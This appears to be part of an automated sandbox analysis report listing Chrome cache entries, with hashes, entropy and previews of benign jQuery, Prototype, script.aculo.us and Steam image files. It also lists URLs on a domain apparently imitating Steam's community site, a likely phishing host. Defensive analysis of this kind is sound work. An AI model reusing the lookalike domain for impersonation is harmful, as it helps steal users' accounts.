Preview:	.PNG........IHDR.......v.....f._.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164753, 2021/02/15-11:52:13 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:2de2dab8-aafd-484a-a2b7-1ccf02b6f6d9" xmpMM:DocumentID="xmp.did:BB036D2E468C11EDB387FB043C60A269" xmpMM:InstanceID="xmp.iid:BB036D2D468C11EDB387FB043C60A269" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3d4abc37-e1c4-4542-87e7-6ceb3124c2bd" stRef:documentID="adobe:docid:photoshop:e32f5b3b-edae-344e-8ae3-b5fef5af14d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......~IDATx....\U..

Chrome Cache Entry: 494

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (547)
Category:	dropped
Size (bytes):	469790
Entropy (8bit):	5.084911175033798
Encrypted:	false
SSDEEP:	6144:zK8SyEGdEXdujYWUl/plq/pGlgFld1HmcI48VirY7IXtu2Y5W5ZbHtQTiTXu5bgs:fljHmcI4q5W5FHttCnuJq7CjhBK1
MD5:	C811575FD210AF968E09CAA681917B9B
SHA1:	0BF0FF43044448711B33453388C3A24D99E6CC9C
SHA-256:	D2F0522008BFF05C6434E48AC8F11F7464331436A4D5D96A14A058A81A75C82E
SHA-512:	D2234D9E8DCC96BCA55FAFB83BB327F87C29AE8433FC296C48BE3EF8C9A21A0A4305E14823E75416951EECD6221F56FBBB8C89D44B244A27BE7B6BEA310F2FD1
Malicious:	false
Reputation:	low
Preview:	/! jQuery UI - v1.11.3 - 2015-02-12. http://jqueryui.com.* Includes: core.js, widget.js, mouse.js, position.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, draggable.js, droppable.js, effect.js, effect-blind.js, effect-bounce.js, effect-clip.js, effect-drop.js, effect-explode.js, effect-fade.js, effect-fold.js, effect-highlight.js, effect-puff.js, effect-pulsate.js, effect-scale.js, effect-shake.js, effect-size.js, effect-slide.js, effect-transfer.js, menu.js, progressbar.js, resizable.js, selectable.js, selectmenu.js, slider.js, sortable.js, spinner.js, tabs.js, tooltip.js.* Copyright 2015 jQuery Foundation and other contributors; Licensed MIT /..(function( factory ) {..if ( typeof define === "function" && define.amd ) {....// AMD. Register as an anonymous module....define([ "jquery" ], factory );..} else {....// Browser globals...factory( jQuery );..}.}(function( $ ) {./!. * jQuery UI Core 1.11.3. * http://jqueryui.com. . Copyright jQuery Foundation and

Chrome Cache Entry: 495

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2843
Entropy (8bit):	6.967423493204583
Encrypted:	false
SSDEEP:	48:o2/61MYLNnwknA9WpitbEsg9wlO/cHJ3z3VHi3bEs/Hc5mmDhhIZwldFWbd/9maH:/SyYRwknmWpiVbgx/mHqb/Hc5thdlubX
MD5:	41E851F8E42B6BF3414278871E93E8A2
SHA1:	A3811C7E1157F77950EC1F0558293BC90E432E82
SHA-256:	399F74C4E69EAC8B59B149293F9A573955FEF0A62B242CFA70346070013E0966
SHA-512:	F3C3549F1390B52791196E6F19584CBD4C4DB2B51FEF78C9C607C944079FED69B75E8F88594C3D647F2DDC29F282BF41BE455BE328AB27C091B4A37C41B00965
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/v6/logo_steam_footer.png
Preview:	.PNG........IHDR...\.........:.;)....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp:CreateDate="2019-08-09T13:37:29-07:00" xmp:ModifyDate="2020-06-17T17:39:04-07:00" xmp:MetadataDate="2020-06-17T17:39:04-07:00" xmpMM:InstanceID="xmp.iid:a6176093-d0df-1f4a-86f8-26e70acca1dd" xmpMM:DocumentID="adobe:docid:photoshop:5cf069c4-c89c-fa4c-8c00-dff9f3add583" xmpMM:OriginalDocumentID="x

Chrome Cache Entry: 496

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 497

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	169399
Entropy (8bit):	4.976254040069433
Encrypted:	false
SSDEEP:	1536:CZXcWblD1ySId1u6p3JuZolKvI28mGY7NIj4WT0PjXsW0NKWzcEjpPrmcGKJ/jfT:ocWblASIdIv8tXYPjkrmgD8d3dI
MD5:	6A39E0B509FECB928D47B8A2643FED2A
SHA1:	F67FA6CB1D09963D10BA117D6553C8E7D5BC7863
SHA-256:	D8BDEA7FFF893DBDBEAF6C2AFFEC091A77483B9EC10E7958486BC3B6CC170C96
SHA-512:	B9B8C6D9AC4928686C5EA254AC8F765C4F3690F79E5B1CCAAFFC48D4BD47872B9CC5475C038F70D804740C81915FDFCE315EBE553B628D12F7CA1CC4467075D0
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.a38iP7Khdmyy
Preview:	../* Prototype JavaScript framework, version 1.7.. * (c) 2005-2010 Sam Stephenson.. .. Prototype is freely distributable under the terms of an MIT-style license... * For details, see the Prototype web site: http://www.prototypejs.org/.. .. --------------------------------------------------------------------------/....var Prototype = {.... Version: '1.7',.... Browser: (function(){.. var ua = navigator.userAgent;.. var isOpera = Object.prototype.toString.call(window.opera) == '[object Opera]';.. return {.. IE: !!window.attachEvent && !isOpera,.. Opera: isOpera,.. WebKit: ua.indexOf('AppleWebKit/') > -1,.. Gecko: ua.indexOf('Gecko') > -1 && ua.indexOf('KHTML') === -1,.. MobileSafari: /Apple.Mobile/.test(ua).. }.. })(),.... BrowserFeatures: {.. XPath: !!document.evaluate,.... SelectorsAPI: !!document.querySelector,.... ElementExtensions: (function() {.. var constructor = window.Element

Chrome Cache Entry: 498

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1180 x 645, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	101582
Entropy (8bit):	7.970123560814674
Encrypted:	false
SSDEEP:	3072:5RkTQQ4nc73gMdc+BcBLvWf9GDxUZcUXTg8UQmmX:5dQ4c73je9UDjUPs
MD5:	0307F8A611F6B99C78D9AE9DFB609364
SHA1:	F9ED2F690FC13CE9A7D04673572EB4D8FC8673E5
SHA-256:	0E11D35F8B7AA18C793A790A1C562637EBB8D61FFD842C942A2357AB1FFA5B5A
SHA-512:	EEB6C21C20E5620CF991AD9CA343137814ED23F9C0E8F3C45046448F587989CF64949947D24C29207F68ABDEB44E8AF074FA6FB81C34F60595914A299A866B74
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_link_bg.png
Preview:	.PNG........IHDR..............'.....pHYs.................sRGB.........gAMA......a....cIDATx..}...-.q...A....>.i;.......{..B`..........H...[...6....23z.;......lTOqI..\|&.....%.j=..FrP...L.^."....)G].d...3...Y...4.....@ ..=.r+.[....z.-..\...."..2...p..Q..S..y...<Ty!.'......u.\..\..D]`.-....b../..Xs(y.z...L.(C...yyji.!.j....s.u.........J....X..2O.&..}R.......s.{...0.G...?..;.#.D6.Tv.L:=..!.2......'.2.m.63..........-...z.:).......lhrm4..I.._5...,{i...t.......Qn.3I..@ ..<.F.?...K...Y.c.2/.....X<i.K.n.,.:+.....u4....Io..h.*.U.+DVt.k.?e_.......$..w.P..^..G'...K.Cxm..v.._qo....!A.i...~.-..T.?.pR..m0.d0......#."_D\|.i+.&f0P'.RY.4\.d...H..s...p.Sz.....N...SRt....!7.'.Y..2.;2.+.d>.......OB..yn.....aG+.F.T_.A....D.A.m3.Y........XN.ls&..i.++.M.I_.Ieh....;.".\h..R.f..]...%.i$xyM.....A.....>..o.j4.L.@F..ay...e9..\|..i...N...s.......6..G.4.6..8...u.../.....~..........3.....g..F.~.D<..M..@..p.]y.....e$.....H.V...ns....#.K...v..yz3...;..."..4.(c...{.

Chrome Cache Entry: 499

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Algol 68 source, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3276
Entropy (8bit):	5.553388243206585
Encrypted:	false
SSDEEP:	96:gVRrYJuRrYJMu31/3z5SY2ZVba/vlWmij:gfrsWrsMu31/3dSY2jkl4j
MD5:	4522A2252222088E18051FC411359093
SHA1:	FBFD96E45FCFE5E7CE7F4043407499FB0E960807
SHA-256:	6F8426105449E000CC11B5C2670677F090023C11C7D65BAF4C13C10C3A829141
SHA-512:	A135534B1766CF4CC538E28D6F6EF517A946E62D0D18DB3007071F8F1B6BBE4979F2CD4501AA88019B24B039A0A02932139B8E4C31B109DB41C78A02F6595BCA
Malicious:	false
Reputation:	low
Preview:	../..Copyright (c) 2011, Daniel Guerrero..All rights reserved.....Redistribution and use in source and binary forms, with or without..modification, are permitted provided that the following conditions are met:.. Redistributions of source code must retain the above copyright.. notice, this list of conditions and the following disclaimer... * Redistributions in binary form must reproduce the above copyright.. notice, this list of conditions and the following disclaimer in the.. documentation and/or other materials provided with the distribution.....THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND..ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED..WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE..DISCLAIMED. IN NO EVENT SHALL DANIEL GUERRERO BE LIABLE FOR ANY..DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES..(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUB

Chrome Cache Entry: 500

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	downloaded
Size (bytes):	1429
Entropy (8bit):	7.114906411921738
Encrypted:	false
SSDEEP:	24:g9XPYOEocal1hQWwjx82lY2T3+VLHnmbHn4yJ3VZHnLRHn5GY82Df9wIyvcyPO:g9fsIzNn2KhHWHbJ3XHlH5L823yPO
MD5:	1658BD9BCE49908BAC30F075D520DFBC
SHA1:	1174BCC3DA90B32BCD21B75AF923F2C869CEE552
SHA-256:	96A49A32967F0A65E3131A3AA1D493425C15325787448300F64B138D6710F51C
SHA-512:	DD44D33A623F538E27183A7F689B9E97F1E1D85D9A6C09A09532FB6A9D61D13C31FC3B3F2220788092E8FB6E629D4756564C8B8D7EFCD6C430EEC98F592342D3
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/ico/ico_twitter.gif
Preview:	GIF89a.............UV\........hin...RTZRSY.........egl...FGN.....;<C......\]crsxTV\;=D?AH68??@G.....ikpY[a............8:A......BDJ......abh...YZ`...sty...LNTMOU......>@FKMS...SU[79@BDKACI57>.........!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)" xmpMM:InstanceID="xmp.iid:A00F86217F2E11EE954AD5AEB68850C4" xmpMM:DocumentID="xmp.did:A00F86227F2E11EE954AD5AEB68850C4"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A00F861F7F2E11EE954AD5AEB68850C4" stRef:documentID="xmp.did:A00F86207F2E11EE954AD5AEB68850C4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r

Chrome Cache Entry: 501

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	dropped
Size (bytes):	1278
Entropy (8bit):	6.9904915779422545
Encrypted:	false
SSDEEP:	24:+jVgXal1hQWwjx82lY2T3+VVMLoyJ3V+GGY8nLPewOd:zgzNn2KgLrJ3ZL8DdOd
MD5:	A4AD1737E878B031DE37EDF234CB1283
SHA1:	1BCDAAB7E0C225DF693E69704EB7555E120657A5
SHA-256:	B22C73A2ED7BE863D4779BBE6DB4C9D4078C453D7118C0A6F70ACAD0108A9F23
SHA-512:	973404080C1BD98492DAA385E49ED4FF53D847F09F16A18FC3BBB0EBD4FCD5A18175FC32325A2BA93A4E2C39B619070C30C1B9BCF30B37D7DD3EFECDD91018EC
Malicious:	false
Reputation:	low
Preview:	GIF89a.......UV\........RTZ......TV\PRX........8:A\]c.....................................BDKACI...57>!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)" xmpMM:InstanceID="xmp.iid:95DFDEB47F2E11EE8716FE6E5DEA6C2D" xmpMM:DocumentID="xmp.did:95DFDEB57F2E11EE8716FE6E5DEA6C2D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:95DFDEB27F2E11EE8716FE6E5DEA6C2D" stRef:documentID="xmp.did:95DFDEB37F2E11EE8716FE6E5DEA6C2D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.............................................................................................

Chrome Cache Entry: 502

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	B326B5062B2F0E69046810717534CB09
SHA1:	5FFE533B830F08A0326348A9160AFAFC8ADA44DB
SHA-256:	B5BEA41B6C623F7C09F1BF24DCAE58EBAB3C0CDD90AD966BC43A45B44867E12B
SHA-512:	9120CD5FAEF07A08E971FF024A3FCBEA1E3A6B44142A6D82CA28C6C42E4F852595BCF53D81D776F10541045ABDB7C37950629415D0DC66C8D86C64A5606D32DE
Malicious:	false
Reputation:	low
Preview:	true

Chrome Cache Entry: 503

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 554 x 271, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	202593
Entropy (8bit):	7.996848192202674
Encrypted:	true
SSDEEP:	3072:9RJJ+0NcfaVXHbin/ENV96H7aZ4CQwYiGVjrS2lAbl6JXKT8fNRjFLTlz8CJ:mtnso7e4CFYiGVi1bl6YT8fdZTJ
MD5:	88319D4D76E896A40C655D3F62EFB104
SHA1:	AF044A1B235CECFC9A551EA124E76A82FB6D21A9
SHA-256:	88D4D1C9BD11D30037635C8496A5F253EA440174D20C81FD227F60CC33E12D65
SHA-512:	76224F95B6F0B8CE783B7ED7D1BC7F0CFFACBF668E4B6D53D390DD0E1847F8F1A4F624A5B66102E72EABA3425DCD05637F178A028BD6A4E869C0D7BE1766DE57
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR............l......pHYs.................sRGB.........gAMA......a.....IDATx.......u.......}.{=.@71...... )q.Iq.%Sf YJ.I.,...;.D6].4R.$.TJ.D..XQY.D.bhJ.hQ"E..I.........4....o~....a.....&.$......{...o....3..p\..........0.{...~.......}.q.]g;Q...p!.E..~....7...y.J.......5~.2.......8O@.4.;.E.+.,m.....h..."...w.!.A..-.!.l;.....W(.NL....xQ.......#DI....{j.L..D.o.....:..f>\.F.[.&. ...9.\.G4,H...!c...G...*..D..N..z.u:..$.....0...rmL...n.T(..p;m&._([W.U..n..0.Q.AE.%q..8F.qQ....Ov.........$+Q.I....3i..I.M6.~V]..j.....d....d./.9..9.n.u:...z."......T..<l.Bg.O..`9.w,.d..(k[<K.C.......+..4K....f.W.".L/S.y..e8.../BY...%L....6\g...L.}../....Y.j....._.K.......?7].7...v...@....#A.L..%..H....T..L...V@.fD<..P.D..O{..8. ..Gi.....J+..2.xsa#...`....&.D[..z.......t... I..Y..v.......B.f..V&S6d.tt...$.:S.....r`uh.m....@..........J..M.g.6.].<..~ .4;K..T.f."..{.p..Q..Z..-..A..]..z~.zH2m,...........P.-k.i...J[<1eP.....h&`Xhs.f..3.,..Ksp......_.,N...\.&v.J....).F.

Chrome Cache Entry: 504

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF, CR line terminators
Category:	downloaded
Size (bytes):	89437
Entropy (8bit):	4.934831850769131
Encrypted:	false
SSDEEP:	1536:LlaY4P+xmlvr+k3mCQHNl9EvOxzXQApcGBPVCGUb6WFA66WqiLOrVQXWl:E1XZEl9EvOxzLcGBkQ1WA
MD5:	31ED48071CE4B62C24520C95BCDE6026
SHA1:	C073152E6835FBA2DED4CC215F3985266BE23F2B
SHA-256:	08B39451EABACA10CD735816CDC5AF4A35B05FBB197E2082235B6E16BE62DEDB
SHA-512:	1CB651EC52D7EB67A961436A48340D0B783BC944CD54008D00E8B26D933D0668380126C6ACAE89EF10906FD96E8DA9ED4EF773DFD9C761F608FF7EBDA5554AE7
Malicious:	false
Reputation:	low
URL:	"https://store.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=Me1IBxzktiwk&l=english&load=effects,controls,slider"
Preview:	// script.aculo.us scriptaculous.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008....// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)..// ..// Permission is hereby granted, free of charge, to any person obtaining..// a copy of this software and associated documentation files (the..// "Software"), to deal in the Software without restriction, including..// without limitation the rights to use, copy, modify, merge, publish,..// distribute, sublicense, and/or sell copies of the Software, and to..// permit persons to whom the Software is furnished to do so, subject to..// the following conditions:..// ..// The above copyright notice and this permission notice shall be..// included in all copies or substantial portions of the Software...//..// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..// NONINFRINGEMENT. IN NO EV

Chrome Cache Entry: 505

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 5 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	dropped
Size (bytes):	38554
Entropy (8bit):	7.281917544628079
Encrypted:	false
SSDEEP:	768:PcaDYrV5KBau+3erpKn9jpe7z9mWAFjQcR4D9DQ0LKfjLh:PcsiV5Y+erc9T/H4f0jLh
MD5:	231913FDEBABCBE65F4B0052372BDE56
SHA1:	553909D080E4F210B64DC73292F3A111D5A0781F
SHA-256:	9F890A9DEBCDFCCC339149A7943BE9AFF9E4C9203C2FA37D5671A5B2C88503AD
SHA-512:	7B11B709968C5A52B9B60189FB534F5DF56912417243820E9D1C00C97F4BD6D0835F2CDF574D0C36ECB32DBBF5FC397324DF54F7FDF9E1B062B5DBDA2C02E919
Malicious:	false
Reputation:	low
Preview:	............ .h...V......... ......... .... .....F...00.... ..%............ ..R...D..(....... ..... ..................................u...t...w.H.z...\|..}...}...\|..z...w.I.t...u...........p...f...e...j...k..k...l...m...n...n...n...m..j...e...f...q...Z...Y...]..._...w6...T..{;..`..._..._..._..._..._...]...Y...Z..~K...P...O...{I............P..R...S...S...S...S...S...R..~K..t@.I.Q!.{T.....................M..zF..{H..{H..{H..{H..zG..yE.I..................................zJ$.m9..o;..o<..p<..p<..o;.........................................eM.p@$.c0..d0..d1..d1..............xP<.g9#..hW..........................~o.],..Z(..Z)...j].a7$.P ..O...P ..O.....v..........................dV.O...Q"..F...H...I...I...I...H...Q&...........................H...I...C...C...C...C...C...C...@....rg.......................C...C...?..I>...>...>...>...>...=...Y:*.....................x^Q.<...?..I=...:...:...:...:...:...:...9...mUG.............ti.=...:...=...7...7...6...6...6...6...6...6...4...@%..R:

Chrome Cache Entry: 506

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (355), with CRLF line terminators
Category:	dropped
Size (bytes):	135833
Entropy (8bit):	5.69218613768848
Encrypted:	false
SSDEEP:	3072:JmUG0YLJR5J2hn+FmzYVQwxhG5YLpQuce8YL3vjzxmPCjwjlbKlZNUupM:JmUG0YLJR5J2hmmzYVQwxhG5YLpQYL3C
MD5:	12F4F1A7680F00846F5EFFF0A06F4917
SHA1:	EB16DCA2EB1D74FE99F29B2EE03404E0FD75B9A9
SHA-256:	B4DB2CF524525B37820A32570C9AAC5C23484CBF024B209537DA4625D3C2BEA1
SHA-512:	26B081D5989A7492AF5722DBC29130D73D4E296EB8B8E7C55FEAFFF5EE2832A5A0F337F3DC259759F1F796B6233D57BBED2E4D89E414AD9505A4977827BE1D75
Malicious:	false
Reputation:	low
Preview:	..HelpWizard = {...m_sCurrentPage: null,...m_steamid: '',...m_bUseHistoryAPI: false,...m_bInSearch: false,.....LoadPageFromHash: function( fresh_page_load, url, link_click, search_text ) {....var wizard_url = url;....if ( !wizard_url )....{.....if ( window.location.hash.length < 2 )......wizard_url = 'Home';.....else......wizard_url = window.location.hash.replace( /^#!?/,'');....}........if ( wizard_url.toLowerCase().startsWith('login') )....{.....window.location = "https://help.steampowered.com/ru/login" + wizard_url.slice( 5 );.....return;....}......var page_url = wizard_url;....var iQueryString = wizard_url.indexOf( '?' );....if ( iQueryString >= 0 )....{.....// strip search term out of wizard_url.....var rgQueryParams = iQueryString >= 0 ? $J.deparam( wizard_url.substr( iQueryString + 1 ) ) : {};.......if ( rgQueryParams.text ).....{......page_url = wizard_url.substr( 0, iQueryString );......search_text = rgQueryParams.text;......delete rgQueryParams.text;......var strQuery = $J.pa

Chrome Cache Entry: 507

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 508

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	65
Entropy (8bit):	4.243553829293353
Encrypted:	false
SSDEEP:	3:YIzVEDFLKRUexaLjJp2ERh2in:YIh6KCexSJp2Eein
MD5:	6688D59F1D0B9E116CECA1708A113D0D
SHA1:	D0078C573575A40A584CC92D4CCC5E8AE62AA948
SHA-256:	CACC3C09D432702D237265C156358A0430DD08938AFBCEAF4A444D26340B25E8
SHA-512:	116612441C802EAE5CDFA4441C5757EE48298F865E1FF4E164AE1BA9AB2A0856C7E2E5C023864EEE6963EDA1BB89D6EDCC7951C4B566ECA2AAC989A66EF510A4
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/a6ee8b8370c1415cb6ec9598e252c16b8f95105a30c1/c3836b18f15271feb179564b07a0a7149d6af2227872.js
Preview:	{"message":"Page not found","error":"Not Found","statusCode":404}

Chrome Cache Entry: 509

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	288
Entropy (8bit):	4.767963861930386
Encrypted:	false
SSDEEP:	6:YWQmDoHrx73iANXmUB16CQEngoM/eSEzXSvjDMqLM8ErBXjWORoR3C6:YWY1iOXmY1DgovXSLDiVLoBT
MD5:	421EFEA421BA62632800DBA2D5FE2A76
SHA1:	3F37534DBB8B8526C1498FBAA2A185C02ADD7FC9
SHA-256:	DA3A473CC62E3034E3E47CC5D2ED0FFEB1B93BD1027553B2CF6435A033CDDD9F
SHA-512:	488AF1EDFCE3A8BF50AD9B744968B8F9AF1550E31923343383DCE5B574E9F9D2F322BD8D068288A043C86E99945BE8EB299F4ACF50620427B9399A352174340E
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/20412b512e0800535346655a1253775a57030805
